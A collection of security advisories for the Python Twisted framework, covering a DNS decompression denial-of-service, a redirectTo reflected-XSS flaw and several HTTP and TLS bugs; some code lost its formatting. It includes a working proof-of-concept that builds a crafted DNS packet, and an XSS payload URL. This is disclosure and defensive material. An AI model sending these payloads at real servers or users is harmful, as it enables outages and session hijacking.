Twisted is an event-based framework for internet applications. Prior to version 23.10.0rc1, when sending multiple HTTP requests in one TCP packet, twisted.web will process the requests asynchronously without guaranteeing the response order. If one of the endpoints is controlled by an attacker, the attacker can delay the response on purpose to manipulate the response of the second request when a victim launched two requests using HTTP pipeline. Version 23.10.0rc1 contains a patch for this issue.
Details
The twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.
---
Technical Details
The main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.
Because DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.
python src/twisted/names/dns.py (Lines 595-631)
def decode(self, strio, length=None): visited = set() self.name = b"" off = 0 while 1: l = ord(readPrecisely(strio, 1)) if l == 0: if off > 0: strio.seek(off) return if (l >> 6) == 3: newoff = (l & 63) << 8 | ord(readPrecisely(strio, 1)) if newoff in visited: raise ValueError("Compression loop in encoded name") visited.add(newoff) if off == 0: off = strio.tell() strio.seek(newoff) continue label = readPrecisely(strio, l) if self.name == b"": self.name = label else: self.name = self.name + b"." + label
---
PoC
python import struct, time from twisted.names import dns, server from twisted.test import protohelpers
def createtcppayload(): numpointers = 8000 packetlength = 65533 numquestions = (packetlength - (numpointers 2) - 12) // 6
buffer = bytearray(packetlength)
struct.packinto("!HHHHHH", buffer, 0, 1, 0, numquestions, 0, 0, 0)
ptroffset = 12 for in range(numpointers - 1): struct.packinto("!H", buffer, ptroffset, 0xC000 | (ptroffset + 2)) ptroffset += 2
nullbyteoffset = ptroffset + 2 struct.packinto("!H", buffer, ptroffset, 0xC000 | nullbyteoffset) buffer[nullbyteoffset] = 0
questionoffset = nullbyteoffset + 1 for in range(numquestions): if questionoffset + 6 <= packetlength: struct.packinto("!HHH", buffer, questionoffset, 0xC000 | 12, 1, 1) questionoffset += 6
return packetlength, numpointers, numquestions, struct.pack("!H", packetlength) + buffer
def testdnsserver(): factory = server.DNSServerFactory(clients=[]) protocol = factory.buildProtocol(("127.0.0.1", 10053)) transport = protohelpers.StringTransport() protocol.makeConnection(transport)
pktlen, numptrs, numqs, payload = createtcppayload() print("payload") print(f"len={pktlen} ptrs={numptrs} qs={numqs}")
start = time.time() protocol.dataReceived(payload) end = time.time()
print(f"time={end - start:.4f}s")
if name == "main": testdnsserver()
---
Impact
A single malformed TCP packet is sufficient to block the Twisted reactor's event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.
---
Remediation
- Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message - Share the "resolved offset" state across all records in a single message to prevent redundant processing. - Validate the number of questions before entering the decoding loop in Message.decode.
---
Resources
https://cwe.mitre.org/data/definitions/400.html
https://cwe.mitre.org/data/definitions/407.html
https://datatracker.ietf.org/doc/html/rfc9267
https://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595
https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09
---
Author: Tomas Illuminati
Summary
The twisted.web.util.redirectTo function contains an HTML injection vulnerability. If application code allows an attacker to control the redirect URL this vulnerability may result in Reflected Cross-Site Scripting (XSS) in the redirect response HTML body.
Details Twisted’s redirectTo function generates an HTTP 302 Redirect response. The response contains an HTML body, built for exceptional cases where the browser doesn’t properly handle the redirect, allowing the user to click a link, navigating them to the specified destination.
The function reflects the destination URL in the HTML body without any output encoding. python https://github.com/twisted/twisted/blob/trunk/src/twisted/web/templateutil.py#L88 def redirectTo(URL: bytes, request: IRequest) -> bytes: # ---snip--- content = b""" <html> <head> <meta http-equiv=\"refresh\" content=\"0;URL=%(url)s\"> </head> <body bgcolor=\"#FFFFFF\" text=\"#000000\"> <a href=\"%(url)s\">click here</a> </body> </html> """ % { b"url": URL } return content
If an attacker has full or partial control over redirect location due to an application bug, also known as an “Open Redirect”, they may inject arbitrary HTML into the response’s body, ultimately leading to an XSS attack.
It’s worth noting that the issue is known to maintainers and tracked with GitHub Issue#9839. The issue description, however, does not make any mention of exploitability and simply states: “…Browsers don't seem to actually render that page…”
PoC The issue can be reproduced by running the following Twisted-based HTTP server locally: python from twisted.web import server, resource from twisted.internet import reactor from twisted.web.util import redirectTo
class Simple(resource.Resource): isLeaf = True def renderGET(self, request): url = request.args[b'url'][0] # <-- open redirect return redirectTo(url, request)
site = server.Site(Simple()) reactor.listenTCP(9009, site) reactor.run() Once running, navigate to the following URL: http://127.0.0.1:9009?url=ws://example.com/"><script>alert(document.location)</script>, and verify that the “alert” dialog was displayed.
Note: Due to the different ways browsers validate the redirect Location header, this attack is possible only in Firefox. All other tested browsers will display an error message to the user and will not render the HTML body.
Impact If successfully exploited, the issue will allow malicious JavaScript to run in the context of the victim's session. This will in turn lead to unauthorized access/modification to victim's account and information associated with it, or allow for unauthorized operations to be performed within the context of the victim's session.
Python Twisted 14.0 trustRoot is not respected in HTTP client
In words.protocols.jabber.xmlstream in Twisted through 19.2.1, XMPP support did not verify certificates when used with TLS, allowing an attacker to MITM connections.
In Twisted Web through 19.10.0, there was an HTTP request splitting vulnerability. When presented with a content-length and a chunked encoding header, the content-length took precedence and the remainder of the request body was interpreted as a pipelined request.
In Twisted before 19.2.1, twisted.web did not validate or sanitize URIs or HTTP methods, allowing an attacker to inject invalid characters such as CRLF.
In Twisted Web before 20.3.0, there was an HTTP request splitting vulnerability. When presented with two content-length headers, it ignored the first header. When the second content-length value was set to zero, the request body was interpreted as a pipelined request.